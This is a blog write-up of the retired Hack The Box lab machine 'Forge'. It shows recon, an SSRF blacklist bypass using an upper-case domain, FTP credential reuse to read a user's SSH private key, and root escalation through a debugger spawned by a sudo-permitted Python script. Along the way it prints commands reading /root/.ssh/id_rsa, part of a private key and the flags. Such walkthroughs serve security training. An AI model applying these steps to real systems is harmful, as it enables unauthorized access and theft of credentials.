HTB: Forge
Posted on 21 Jan 2022 in security • 3 min read
This is a writeup about a retired HacktheBox machine: Forge publish on September 11, 2021 by NoobHacker9999. This box is rated as a medium machine but could be qualified as an easy medium :). It implies a SSRF and an LFI as well as some Python and a PDB.
Foothold
Recon
Let us start as always by a nmap
scan. Only port 80 (HTTP) and 22 (SSH) are
open.
# Nmap 7.91 scan initiated Friday Sep 17 04:59:56 2021 as: nmap -sSV -p- -oN notes.md -A 10.129.220.75
Nmap scan report for 10.129.220.75
Host is up (0.013s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
21/tcp filtered ftp
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Website
The website is a gallery that allow to upload an image either from the filesystem or from an URL.
We use wfuzz in addition to the subdomain secList to discover that the domain admin.forge.htb exist.
```text
└─$ wfuzz -c -w subdomains-top1million-5000.txt --sc 200 -H "HOST:FUZZ.forge.htb" http://forge.htb
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://forge.htb/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000024: 200 1 L 4 W 27 Ch "admin - admin"
```
We cannot access the admin interface as some IP filtering is in place. We try to includ the page by uploading it as an image using the URL but it failes with an error message: "URL contains a blacklisted address!"
We try the same inclusiion by using upper case on the "FORGE" domain and got the page http://admin.FORGE.htb
<title>Admin Portal</title>
</head>
<body>
<link rel="stylesheet" type="text/css" href="/static/css/main.css">
<header>
<nav>
<h1 class=""><a href="/">Portal home</a></h1>
<h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
<h1 class="align-right"><a href="/upload">Upload image</a></h1>
</nav>
</header>
<br><br><br><br>
<br><br><br><br>
<center><h1>Welcome Admins!</h1></center>
</body>
</html>
We look at the announcements
page:
<li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
<li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
<li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li>
We try to load the FTP page using the disclosed credentials
http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@FORGE.htb/
We got two files user.txt
and snap
.
We take a look at the .ssh/id_rsa
file (worst case scenario it does not
exist) using http://admin.FORGE.htb/upload?u=ftp://user:heightofsecurity123!@FORGE.htb/.ssh/id_rsa
and got the RSA private key. We can now connect as user
using SSH and grab the
user flag.
└─$ ssh user@forge.htb -i id_rsa
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-81-generic x86_64)
user@forge:~$ cat user.txt
4a8aed62cdd2fca87ce185b780ee3e89
Root
We look at our privileges (sudo -l
) and we see that we can run /usr/bin/python3 /opt/remote-manage.py
as root
without password. Looking at the script it is a remote manager script
that will land us a PDB if it got
a unrecognized input. So we launch the script, connect to it using another SSH
terminal and nc
, then we just input a "q" that will not be recognize and get
a PDB in our first shell allowing
us to load the os
module and execute system commands as root using
os.system([COMMAND])
.
user@forge:~$ sudo /usr/bin/python3 /opt/remote-manage.py
Listening on localhost:59816
invalid literal for int() with base 10: b'q'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) --KeyboardInterrupt--
(Pdb) import os
(Pdb) os.system('id')
uid=0(root) gid=0(root) groups=0(root)
0
We just grab the root SSH private key and connect on the box as root
allowing us
to get the flag.
(Pdb) os.system('ls /root/.ssh')
authorized_keys id_rsa id_rsa.pub
0
(Pdb) os.system('cat /root/.ssh/id_rsa')
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAusTE7uvvBLrfqDLv6I/+Xc9W/RVGA4eFPOowUNkHDZ4MTUm4cK4/
DdTvY7o7bvSinEX26rWdG4eVY3qnBGSACl3VIGX80NsWgyZwWQT20Vj0q8gf674RB4LfB6
i6Awm8cbm3105HxfQnqr4qr2oJEpyDVaF29zpaS+6y0Ogq7HcRkSyQyErBnGmlOYBcBvvh
<SNIP>
-----END OPENSSH PRIVATE KEY-----
└─$ ssh forge.htb -l root -i id_rsa_root
root@forge:~# id
uid=0(root) gid=0(root) groups=0(root)
root@forge:~# cat root.txt
5a7c66fcccbc8a380f220f349e6eea95
Wrapping up
This box was really easy for a medium one. The root part really easy. I triggered it by mistake as "q" for quit is an old habit. Once you get the subdomain the user part just requires to follow the dots. A great medium box for beginners.